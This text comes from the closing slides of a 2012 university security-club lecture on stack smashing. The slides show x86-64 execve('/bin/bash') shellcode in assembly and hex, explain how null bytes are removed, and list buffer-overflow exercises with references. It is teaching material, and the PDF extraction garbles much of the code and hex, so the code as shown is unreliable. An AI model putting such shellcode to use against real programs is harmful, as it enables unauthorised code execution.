1 \x48\x8d\x3d\x21\x00\x00\x00\x48\x\x8d\x35\x24\x00\x002 \x00\xba\x00\x00\x00\x00\x48\x89\x3d\x18\x00\x\x00\x003 \x48\x89\x15\x19\x00\x00\x00\xb8\x3b\x00\x00\x00\ x 0 f4 \x05\ x 2 f \x62\x69\ x6e\ x 2 f \x62\x61\x73\x68\x00\x01\x005 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00

I Warning: zero-byte presence!

I Often shellcode payload are red as string.

I C strings are null-terminated array of chars.

I The vulnerable program will process only the first five bytes!

(CeSeNA) December 17, 2012 60 / 72

Page 66: Smashing thestack

Shellcoding

Shellcode: Zero-bytes problem

Zero-bytes presence is caused by data and addresses

I mov rax, 11h is equivalent to mov rax, 0000000000000011h.

I lea rax, [rel message] is equivalent to lea rax, [rip + 0000. . . xxh].

I execve, for instance, requires a null terminated string and some nullparameters.

Solutions

I Use xor operation to zero a register.

I Use smaller registers (e.g.: rax → eax → ax → [ah,al])

I Use add operation: immediate operator is not expanded.

I Place non-null marker and substitute them inside the code.

I Make a relative reference offset negative.

(CeSeNA) December 17, 2012 61 / 72

Page 67: Smashing thestack

Shellcoding

Shellcode: second attempt I

1 b i t s 642 jmp code3 f i l e n a m e db ’ / b i n / bash ’ , ’ n ’ ; ’ n ’ i s t he marker4 a r g s db 165 code :6 l e a r d i , [ r e l f i l e n a m e ] ; n e g a t i v e o f f s e t7 l e a r s i , [ r e l a r g s ] ; n e g a t i v e o f f s e t8 x o r rdx , r d x ; z e r o s r d x9 mov [ r e l f i l e n a m e +10] , d l ; z e r o s t he marker

10 mov [ r e l a r g s ] , r d i11 mov [ r e l a r g s +8] , r d x12 x o r rax , r a x ; z e r o s r a x13 mov a l , 59 ; u s e s s m a l l e r r e g i s t e r14 s y s c a l l

(CeSeNA) December 17, 2012 62 / 72

Page 68: Smashing thestack

Shellcoding

Shellcode: second attempt II

1 \ xeb\x0b\ x 2 f \x62\x69\ x6e\ x 2 f \x62\x61\x73\x68\ x6e2 \x10\x48\x8d\x3d\ xee \ x f f \ x f f \ x f f \x48\x8d\x35\ x f 13 \ x f f \ x f f \ x f f \x48\x31\xd2\x88\x15\ xe8\ x f f \ x f f \ x f f4 \x48\x89\x3d\ xe1\ x f f \ x f f \ x f f \x48\x89\x15\ xe2\ x f f5 \ x f f \ x f f \x48\x31\ xc0\xb0\x3b\ x 0 f \x05

I Zero-bytes eliminated.

(CeSeNA) December 17, 2012 63 / 72

Page 69: Smashing thestack

Exercise

Outline

1 IntroductionSmash the stackA brief time lineProcess MemoryStack Frame

2 Buffer OverflowsUnsafe functionsBasic OverflowHeap-based OverflowStack-based Overflow

3 SecurityProgramming LanguagesStack CookiesASLR

DEP

4 Mitigations BypassMultiple Input and Static AreasNOP SledgeJMP2RegisterException HandlerRet2libcROP

5 ShellcodingSyscallsData referenceZero-bytes problem

6 Exercise

7 References

(CeSeNA) December 17, 2012 64 / 72

Page 70: Smashing thestack

Exercise

Exercise I

Exercises source available at http://goo.gl/WupDsSome exercises need to connect via ssh to cesena.ing2.unibo.itas pwn at port 7357 to test your solution.(ssh [email protected] -p 7357)

Figure : Exercises source

(CeSeNA) December 17, 2012 64 / 72

Page 71: Smashing thestack

Exercise

Exercise II

Warming up

authJust a basic overflow.Don’t look too far, it’s just next to you.

(CeSeNA) December 17, 2012 65 / 72

Page 72: Smashing thestack

Exercise

Exercise III

Function pointer overwrite

namelessHey! A function pointer!Yes, we probably need gdb

(CeSeNA) December 17, 2012 66 / 72

Page 73: Smashing thestack

Exercise

Exercise IV

Return OverWrite Easy

roweWe are getting seriousYou’ll have to OverWrite the return address!

(CeSeNA) December 17, 2012 67 / 72

Page 74: Smashing thestack

Exercise

Exercise V

Return OverWrite Hard

rowhJust like the previuos, but can you also prepare the data on the stack?

(CeSeNA) December 17, 2012 68 / 72

Page 75: Smashing thestack

Exercise

Exercise VI

Notes program

noteSample notes program, ./note reads the notes, ./note ”my note” adds anoteYou’ll need a shellcode.

(CeSeNA) December 17, 2012 69 / 72

Page 76: Smashing thestack

References

Outline

1 IntroductionSmash the stackA brief time lineProcess MemoryStack Frame

2 Buffer OverflowsUnsafe functionsBasic OverflowHeap-based OverflowStack-based Overflow

3 SecurityProgramming LanguagesStack CookiesASLR

DEP

4 Mitigations BypassMultiple Input and Static AreasNOP SledgeJMP2RegisterException HandlerRet2libcROP

5 ShellcodingSyscallsData referenceZero-bytes problem

6 Exercise

7 References

(CeSeNA) December 17, 2012 70 / 72

Page 77: Smashing thestack

References

References I

Erik Buchanan, Ryan Roemer, Stefan Savage, and Hovav Shacham.Return-oriented programming: Exploitation without code injection.BlackHat USA 2008, 2008.

c0ntex.Bypassing non-executable-stack during exploitation usingreturn-to-libc.http://www.infosecwriters.com/text_resources/pdf/

return-to-libc.pdf, 2006.

Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, PeatBakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang.Stackguard: Automatic adaptive detection and prevention ofbuffer-overflow attacks.In USENIX Security Symposium, volume 7th, January 1998.

(CeSeNA) December 17, 2012 70 / 72

Page 78: Smashing thestack

References

References II

Linux Foundation.Linux documentation.http://linux.die.net/.

Igor Skochinsky Hex-Rays.Compiler internals: Exceptions and rtti.http://www.hexblog.com/, 2012.

Intel.Intel R©64 and IA-32 Architectures Software Developer’s ManualeCombined Volumes:1, 2A, 2B, 3C, 3A, 3B and 3C.Intel, August 2012.

Aleph One.Smashing the stack for fun and profit.http://insecure.org/stf/smashstack.html, 1996.

(CeSeNA) December 17, 2012 71 / 72

Page 79: Smashing thestack

References

References III

IBM Research.Gcc extension for protecting applications from stack-smashing attacks.

http://www.research.ibm.com/trl/projects/security/ssp/,2005.

G. Adam Stanislav.http://www.int80h.org/.

Corelan Team.Exploit writing tutorial part 3 : Seh based exploits.http://www.corelan.be, 2009.

(CeSeNA) December 17, 2012 72 / 72